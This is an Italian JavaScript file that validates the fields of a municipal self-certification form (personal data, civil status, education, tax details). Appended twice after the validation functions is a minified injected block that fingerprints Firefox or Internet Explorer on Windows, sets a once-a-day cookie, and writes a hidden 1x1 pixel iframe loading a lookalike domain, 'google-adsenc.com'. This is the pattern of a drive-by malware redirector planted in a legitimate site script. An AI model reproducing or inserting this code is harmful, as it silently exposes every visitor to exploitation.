/**
 * Funzioni per la verifica del form delle autocertificazioni
 * Realizzato da Riccardo Slanzi @ Xflow
 */
function validate_form() {
	validity = true;
	if ((document.forms[0].nome.value == "Inserire il nome") || (document.forms[0].nome.value == "")) {
		alert('Inserire il Nome.');
		document.forms[0].nome.focus();
		validity = false;
	} else if ((document.forms[0].cognome.value == "Inserire il cognome") || (document.forms[0].cognome.value == "")) {
		alert('Inserire il Cognome.');
		document.forms[0].cognome.focus();
		validity = false;
	} else if ((document.forms[0].nato.value == "Inserire luogo di nascita") || (document.forms[0].nato.value == "")) {
		alert('Inserire il luogo di nascita.');
		document.forms[0].nato.focus();
		validity = false;
	} else if  (document.forms[0].pr_nascita.value == "") {
		alert('Inserire la provincia di nascita.');
		document.forms[0].pr_nascita.focus();
		validity = false;
	} else if ((document.forms[0].data_nascita.value == "gg/mm/aaaa") || (document.forms[0].data_nascita.value == "")) {
		alert('Inserire la data di nascita.');
		document.forms[0].data_nascita.focus();
		validity = false;
	} else if (document.forms[0].residente.value == "") {
		alert('Inserire il paese di residenza.');
		document.forms[0].residente.focus();
		validity = false;
	} else if (document.forms[0].pr_resid.value == "") {
		alert('Inserire la provincia di residenza.');
		document.forms[0].pr_resid.focus();
		validity = false;
	} else if ((document.forms[0].indirizzo.value == "Inserire l'indirizzo") || (document.forms[0].indirizzo.value == "")) {
		alert('Inserire l\'indirizzo di residenza.');
		document.forms[0].indirizzo.focus();
		validity = false;
	} else if ((document.forms[0].txt_cittadinanza.value == "Inserire la cittadinanza") || (document.forms[0].txt_cittadinanza.value == "")) {
		alert('Inserire la cittadinanza.');
		document.forms[0].txt_cittadinanza.focus();
		validity = false; 
	}
	return validity;
}

// Altre dichiarazioni
function control_form() {
	validity = true;
	if (document.forms[0].stato_civile.checked) {  
		if (document.forms[0].txt_st_civile1.value == "Nome e cognome coniuge") { 
			document.forms[0].txt_st_civile1.value = ""; 
		}
		if (document.forms[0].txt_st_civile2.value == "Nome e cognome defunto/a") { 
			document.forms[0].txt_st_civile2.value = ""; 
		}
		if (document.forms[0].txt_st_civile3.value == "Nome e cognome") { 
			document.forms[0].txt_st_civile3.value = ""; 
		}
		if (document.forms[0].st_civile[2].checked && (document.forms[0].txt_st_civile1.value == "")) {
			alert('inserire Nome e cognome coniuge');
			document.forms[0].txt_st_civile1.focus();
			validity = false;
		} 
		if (document.forms[0].st_civile[3].checked && (document.forms[0].txt_st_civile2.value == "")) {
			alert('inserire Nome e cognome defunto/a');
			document.forms[0].txt_st_civile2.focus();
			validity = false;
		} 
		if (document.forms[0].st_civile[4].checked && (document.forms[0].txt_st_civile3.value == "")) {
			alert('inserire Nome e cognome');
			document.forms[0].txt_st_civile3.focus();
			validity = false;
		} 
	} 
 
	if (document.forms[0].stat_fam.checked) {
		if ((document.forms[0].txt_stat_fam.value == "Indicare i componenti della famiglia") || (document.forms[0].txt_stat_fam.value == "")) {
			alert('Indicare i componenti della famiglia');
			document.forms[0].txt_stat_fam.focus();
			validity = false;
		} 
	}
	
	if (document.forms[0].nasc_figl.checked) {  
		if ((document.forms[0].nome_figl.value == "Nome e cognome figlio/a") || (document.forms[0].nome_figl.value == "")) {
			alert('Inserire Nome e cognome del figlio/a');
			document.forms[0].nome_figl.focus();
			validity = false;
		} else if ((document.forms[0].data_figl.value == "gg/mm/aaaa") || (document.forms[0].data_figl.value == "")) {
			alert('Inserire Data di nascita figlio/a');
			document.forms[0].data_figl.focus();
			validity = false;
		} else if ((document.forms[0].luogo_figl.value == "Luogo nascita") || (document.forms[0].luogo_figl.value == "")) {
			alert('Inserire Luogo di nascita del figlio/a');
			document.forms[0].luogo_figl.focus();
			validity = false;
		} else if ((document.forms[0].prov_figl.value == "--") || (document.forms[0].luogo_figl.value == "")) {
			alert('Inserire Provincia di nascita figlio/a');
			document.forms[0].luogo_figl.focus();
			validity = false;
		}
	} 
 
	if (document.forms[0].decesso.checked) {  
		if ((document.forms[0].rap_deces.value == "Rapporto parentela") || (document.forms[0].rap_deces.value == "")) {
			alert('Inserire Rapporto di parentela');
			document.forms[0].rap_deces.focus();
			validity = false;
		} else if ((document.forms[0].nome_deces.value == "Nome defunto/a") || (document.forms[0].nome_deces.value == "")) {
			alert('Inserire Nome defunto/a');
			document.forms[0].nome_deces.focus();
			validity = false;
		} else if ((document.forms[0].cognome_deces.value == "Cognome defunto/a") || (document.forms[0].cognome_deces.value == "")) {
			alert('Inserire Cognome defunto/a');
			document.forms[0].cognome_deces.focus();
			validity = false;
		} else if ((document.forms[0].dnasc_deces.value == "gg/mm/aaaa") || (document.forms[0].dnasc_deces.value == "")) {
			alert('Inserire Data di nascita defunto/a');
			document.forms[0].dnasc_deces.focus();
			validity = false;
		} else if ((document.forms[0].lnasc_deces.value == "Luogo nascita defunto/a") || (document.forms[0].lnasc_deces.value == "")) {
			alert('Inserire Luogo di nascita defunto/a');
			document.forms[0].lnasc_deces.focus();
			validity = false;
		} else if ((document.forms[0].residenza_deces.value == "Residenza defunto/a") || (document.forms[0].residenza_deces.value == "")) {
			alert('Inserire Residenza defunto/a');
			document.forms[0].residenza_deces.focus();
			validity = false;
		} else if ((document.forms[0].data_deces.value == "gg/mm/aaaa") || (document.forms[0].data_deces.value == "")) {
			alert('Inserire Data di decesso defunto/a');
			document.forms[0].data_deces.focus();
			validity = false;
		} else if ((document.forms[0].luogo_deces.value == "Luogo decesso defunto/a") || (document.forms[0].luogo_deces.value == "")) {
			alert('Inserire Luogo di decesso defunto/a');
			document.forms[0].luogo_deces.focus();
			validity = false;
		}
	} 
 

	if (document.forms[0].albi.checked) {  
		if ((document.forms[0].txt_albi.value == "Albo o elenco") || (document.forms[0].txt_albi.value == "")) {
			alert('Inserire Albo o elenco');
			document.forms[0].txt_albi.focus();
			validity = false;
		} else if ((document.forms[0].ente_albi.value == "Pubblica Amministrazione") || (document.forms[0].ente_albi.value == "")) {
			alert('Inserire Ente');
			document.forms[0].ente_albi.focus();
			validity = false;
		} else if ((document.forms[0].luogo_albi.value == "Luogo") || (document.forms[0].luogo_albi.value == "")) {
			alert('Inserire Luogo Ente');
			document.forms[0].luogo_albi.focus();
			validity = false;
		}
	} 		
	
	if (document.forms[0].ordini.checked) { 
		if ((document.forms[0].txt_ordini.value == "Ordine professionale di appartenenza") || (document.forms[0].txt_ordini.value == "")) {
			alert('Inserire Ordine professionale di appartenenza');
			document.forms[0].txt_ordini.focus();
			validity = false;
		} 
	}

	if (document.forms[0].titolo.checked) {  
		if ((document.forms[0].tit_std.value == "Titolo di studio") || (document.forms[0].tit_std.value == "")) {
			alert('Inserire Titolo di studio');
			document.forms[0].tit_std.focus();
			validity = false;
		} else if ((document.forms[0].scuola_std.value == "Scuola o universitą") || (document.forms[0].scuola_std.value == "")) {
			alert('Inserire Scuola o universitą');
			document.forms[0].scuola_std.focus();
			validity = false;
		} else if ((document.forms[0].luogo_std.value == "Luogo") || (document.forms[0].luogo_std.value == "")) {
			alert('Inserire Luogo Scuola o universitą');
			document.forms[0].luogo_std.focus();
			validity = false;
		}
	} 

	if (document.forms[0].esami_sostenuti.checked) {  
		if ((document.forms[0].txt_esami.value == "Indicare gli esami sostenuti") || (document.forms[0].txt_esami.value == "")) {
			alert('Indicare gli esami sostenuti');
			document.forms[0].txt_esami.focus();
			validity = false;
		} else if ((document.forms[0].scuola_esami.value == "Scuola o universitą") || (document.forms[0].scuola_esami.value == "")) {
			alert('Inserire Scuola o universitą');
			document.forms[0].scuola_esami.focus();
			validity = false;
		} else if ((document.forms[0].luogo_esami.value == "Luogo") || (document.forms[0].luogo_esami.value == "")) {
			alert('Inserire Luogo Scuola o universitą');
			document.forms[0].luogo_esami.focus();
			validity = false;
		}
	}
 
	if (document.forms[0].qualifica.checked) {  
		if ((document.forms[0].tit_qlf.value == "Qualifica professionale") || (document.forms[0].tit_qlf.value == "")) {
			alert('Inserire Qualifica Professionale');
			document.forms[0].tit_qlf.focus();
			validity = false;
		} else if ((document.forms[0].scuola_qlf.value == "Scuola o universitą") || (document.forms[0].scuola_qlf.value == "")) {
			alert('Inserire Scuola o istituto');
			document.forms[0].scuola_qlf.focus();
			validity = false;
		} else if ((document.forms[0].luogo_qlf.value == "Luogo") || (document.forms[0].luogo_qlf.value == "")) {
			alert('Inserire Luogo Scuola o istituto');
			document.forms[0].luogo_qlf.focus();
			validity = false;
		}
	} 
 
	if (document.forms[0].sit_econ.checked) {
		if ((document.forms[0].txt_sit_econ.value == "Indicare la situazione reddituale o economica") || (document.forms[0].txt_sit_econ.value == "")) {
			alert('Indicare la situazione reddituale o economica');
			document.forms[0].txt_sit_econ.focus();
			validity = false;
		} 
	}
	
	if (document.forms[0].obb_contr.checked) {
		if ((document.forms[0].txt_obb_contr.value == "Indicare gli obblighi contributivi") || (document.forms[0].txt_obb_contr.value == "")) {
			alert('Indicare gli obblighi contributivi');
			document.forms[0].txt_obb_contr.focus();
			validity = false;
		}
	}

	if (document.forms[0].cod_fis.checked) {  
	 	if ((document.forms[0].txt_cod_fis.value == "Codice fiscale") || (document.forms[0].txt_cod_fis.value == "")) {
			alert('Inserire il Codice fiscale');
			document.forms[0].txt_cod_fis.focus();
			validity = false;
		} 
	} 
	 
	if (document.forms[0].p_iva.checked) {  
		if ((document.forms[0].txt_p_iva.value == "Partita IVA") || (document.forms[0].txt_p_iva.value == "")) {
			alert('Inserire la Partita IVA');
			document.forms[0].txt_p_iva.focus();
			validity = false;
		} 
	} 
	 
	if (document.forms[0].anag_trib.checked) {
		if ((document.forms[0].txt_anag_trib.value == "Indicare i dati presenti nell'archivio dell'Anagrafe Tributaria") || (document.forms[0].txt_anag_trib.value == "")) {
			alert('Indicare i dati presenti nell\'archivio dell\'Anagrafe Tributaria');
			document.forms[0].txt_anag_trib.focus();
			validity = false;
		} 
	}
 
 
	if (document.forms[0].alt_dic.checked) { 
		if (document.forms[0].ad_pens.checked) {
			if ((document.forms[0].txt_ad_pens.value == "Categoria") || (document.forms[0].txt_ad_pens.value == "")) { 
				alert('Inserire la Categoria di pensione');
				document.forms[0].txt_ad_pens.focus();
				validity = false;
			}
		}
		if (document.forms[0].ad_leg.checked) {
			if ((document.forms[0].txt_ad_leg.value == "Nome e cognome") || (document.forms[0].txt_ad_leg.value == "")) { 
				alert('Inserire Nome e cognome del rappresentato');
				document.forms[0].txt_ad_leg.focus();
				validity = false;
			}
		}
		if (document.forms[0].ad_stud.checked) {
			if ((document.forms[0].scuola_stud.value == "Scuola o universitą") || (document.forms[0].scuola_stud.value == "")) { 
				alert('Inserire Scuola o universitą');
				document.forms[0].scuola_stud.focus();
				validity = false;
			} else if ((document.forms[0].luogo_stud.value == "Luogo") || (document.forms[0].luogo_stud.value == "")) { 
				alert('Inserire Luogo della scuola o universitą');
				document.forms[0].luogo_stud.focus();
				validity = false;
			}
		}	
		if (document.forms[0].ad_tut.checked) {
			if ((document.forms[0].txt_ad_tut.value == "Nome e cognome") || (document.forms[0].txt_ad_tut.value == "")) { 
				alert('Inserire Nome e cognome del tutelato');
				document.forms[0].txt_ad_tut.focus();
				validity = false;
			}
		}
		if (document.forms[0].ad_cur.checked) {
			if ((document.forms[0].txt_ad_cur.value == "Attivitą curata") || (document.forms[0].txt_ad_cur.value == "")) { 
				alert('Inserire attivitą curata');
				document.forms[0].txt_ad_cur.focus();
				validity = false;
			}
		}			
	} 
 
 
	if (document.forms[0].associaz.checked) {  
		if ((document.forms[0].txt_associaz.value == "Associazione") || (document.forms[0].txt_associaz.value == "")) {
			alert('Inserire Associazione o formazione sociale');
			document.forms[0].txt_associaz.focus();
			validity = false;
		} 
	} 
	 
	if(document.forms[0].sesso.value == "M") {
		if (document.forms[0].milite.checked) {  
			if ((document.forms[0].txt_milite.value == "Posizione") || (document.forms[0].txt_milite.value == "")) {
				alert('Inserire la posizione riguardanti gli obblighi militari');
				document.forms[0].txt_milite.focus();
				validity = false;
			} 
		}  
	}

	if (document.forms[0].vivenza.checked) {  
		if ((document.forms[0].txt_vivenza.value == "Nome e cognome") || (document.forms[0].txt_vivenza.value == "")) {
			alert('Inserire Nome e cognome');
			document.forms[0].txt_vivenza.focus();
			validity = false;
		} 
	} 
	
	if (document.forms[0].dati.checked) {  
		if ((document.forms[0].comune_dati.value == "Comune") || (document.forms[0].comune_dati.value == "")) {
			alert('Inserire il Comune');
			document.forms[0].comune_dati.focus();
			validity = false;
		} else if ((document.forms[0].txt_dati.value == "Inserire i dati contenuti nello stato civile") || (document.forms[0].txt_dati.value == "")) {
			alert('Inserire i dati contenuti nello stato civile');
			document.forms[0].txt_dati.focus();
			validity = false;
		}
	} 

return validity;
}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
